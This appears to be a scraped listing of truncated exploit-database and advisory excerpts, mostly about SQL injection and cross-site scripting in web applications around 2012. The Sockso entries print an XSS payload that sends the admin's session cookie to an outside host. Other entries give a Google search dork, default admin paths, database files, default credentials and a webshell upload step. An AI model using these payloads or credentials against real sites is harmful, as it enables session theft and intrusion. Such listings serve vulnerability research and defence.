Simple Forum PHP - Multiple SQL Injections

source: https://www.securityfocus.com/bid/54024/info Simple Forum PHP is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to compromise the...

Joomla! Component Joomsport - SQL Injection Arbitrary File Upload

Joomla! Component Joomsport - SQL Injection Arbitrary File Upload source: https://www.securityfocus.com/bid/53944/info The Joomsport component for Joomla! is prone to an SQL-injection vulnerability and an arbitrary file-upload vulnerability because it fails to sanitize user-supplied data...

Signaling network of independently developed web site source code vulnerability-vulnerability warning-the black bar safety net

Google search inurl:product1. asp? tyc= Editor vulnerability the default background ubbcode/adminlogin. asp Database ubbcode/db/ewebeditor. mdb The default account password yzm 1 1 1 1 1 1 Get the webshell method Landing back click on the“style management”-select the new style just to write this...

Joomla! Component Joomsport - SQL Injection / Arbitrary File Upload

source: https://www.securityfocus.com/bid/53944/info The Joomsport component for Joomla! is prone to an SQL-injection vulnerability and an arbitrary file-upload vulnerability because it fails to sanitize user-supplied data. Exploiting these issues could allow an attacker to compromise the...

CVE-2012-2915

creationtimestamp| type| source ---|---|--- 2012-06-07 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/19006 2012-06-17 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/19175 2018-05-29 15:50:33+00:00| seen|...

MyBB 1.6.8 - member.php SQL Injection

MyBB 1.6.8 - member.php SQL Injection source: https://www.securityfocus.com/bid/53814/info MyBB is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit may allow an attacker to compromi...

actcms website management system vulnerability 0day-vulnerability warning-the black bar safety net

Author: Liuker Vulnerability version: actcms3. 0 the following version The default background path: admin/ Default database: AppData/DataBase. mdb Default account: admin The default password is: admin Use: FCK compiler Vulnerability interface:...

Plogger Photo Gallery - SQL Injection

Plogger Photo Gallery - SQL Injection source: https://www.securityfocus.com/bid/53644/info Plogger Photo Gallery is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. A successful exploit will allow an attacker to...

NTDS - SQL Injection Vulnerability

Exploit for php platform in category web applications 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 x...

Vallarta - SQL Injection Vulnerability

Exploit for php platform in category web applications 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 x...

Sockso 1.51 - Persistent Cross-Site Scripting

Sockso 1.51 - Persistent Cross-Site Scripting Application: Sockso http://sockso.pu-gh.com Versions: alert'xss'; Or the admin cookie session can also be retrieved by using... new Image.src="bleh.com/xss.php?c="+encodeURIdocument.cookie...

Sockso 1.51 - Persistent Cross-Site Scripting

Application: Sockso http://sockso.pu-gh.com Versions: alert'xss'; Or the admin cookie session can also be retrieved by using... new Image.src="bleh.com/xss.php?c="+encodeURIdocument.cookie...

OrangeHRM 2.7 RC - index.php?URI Cross-Site Scripting

OrangeHRM 2.7 RC - index.php?URI Cross-Site Scripting source: https://www.securityfocus.com/bid/53433/info OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities. Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication...

Trombinoscope 3.x - 'photo.php' Server SQL Injection

source: https://www.securityfocus.com/bid/53398/info Trombinoscope is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify...

BBSXP CMS - Multiple SQL Injections

BBSXP CMS - Multiple SQL Injections source: https://www.securityfocus.com/bid/53298/info BBSXP CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting these issues could allow an...

TWSL2012-008: Multiple Vulnerabilities in Scrutinizer NetFlow & sFlow Analyzer

Trustwave SpiderLabs Security Advisory TWSL2012-008: Multiple Vulnerabilities in Scrutinizer NetFlow & sFlow Analyzer https://www.trustwave.com/spiderlabs/advisories/TWSL2012-008.txt Published: 04/11/12 Version: 1.0 Vendor: Plixer International http://www.plixer.com Product: Scrutinizer NetFlow a...

Waylu CMS - '/products_xx.php' SQL Injection / HTML Injection

source: https://www.securityfocus.com/bid/53202/info Waylu CMS is prone to an SQL-injection vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting these issues may allow an attacker to compromise the application, access or modif...

Seditio CMS 165 - plug.php SQL Injection

Seditio CMS 165 - plug.php SQL Injection source: https://www.securityfocus.com/bid/53036/info Seditio CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to...

Matterdaddy Market 1.1 - cat_name Multiple SQL Injections

Matterdaddy Market 1.1 - catname Multiple SQL Injections source: https://www.securityfocus.com/bid/52970/info Matterdaddy Market is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. A successful exploit ma...

osCMax 2.5 - adminstats_monthly_sales.php?status SQL Injection

osCMax 2.5 - adminstatsmonthlysales.php?status SQL Injection source: https://www.securityfocus.com/bid/52886/info osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input. Exploiting...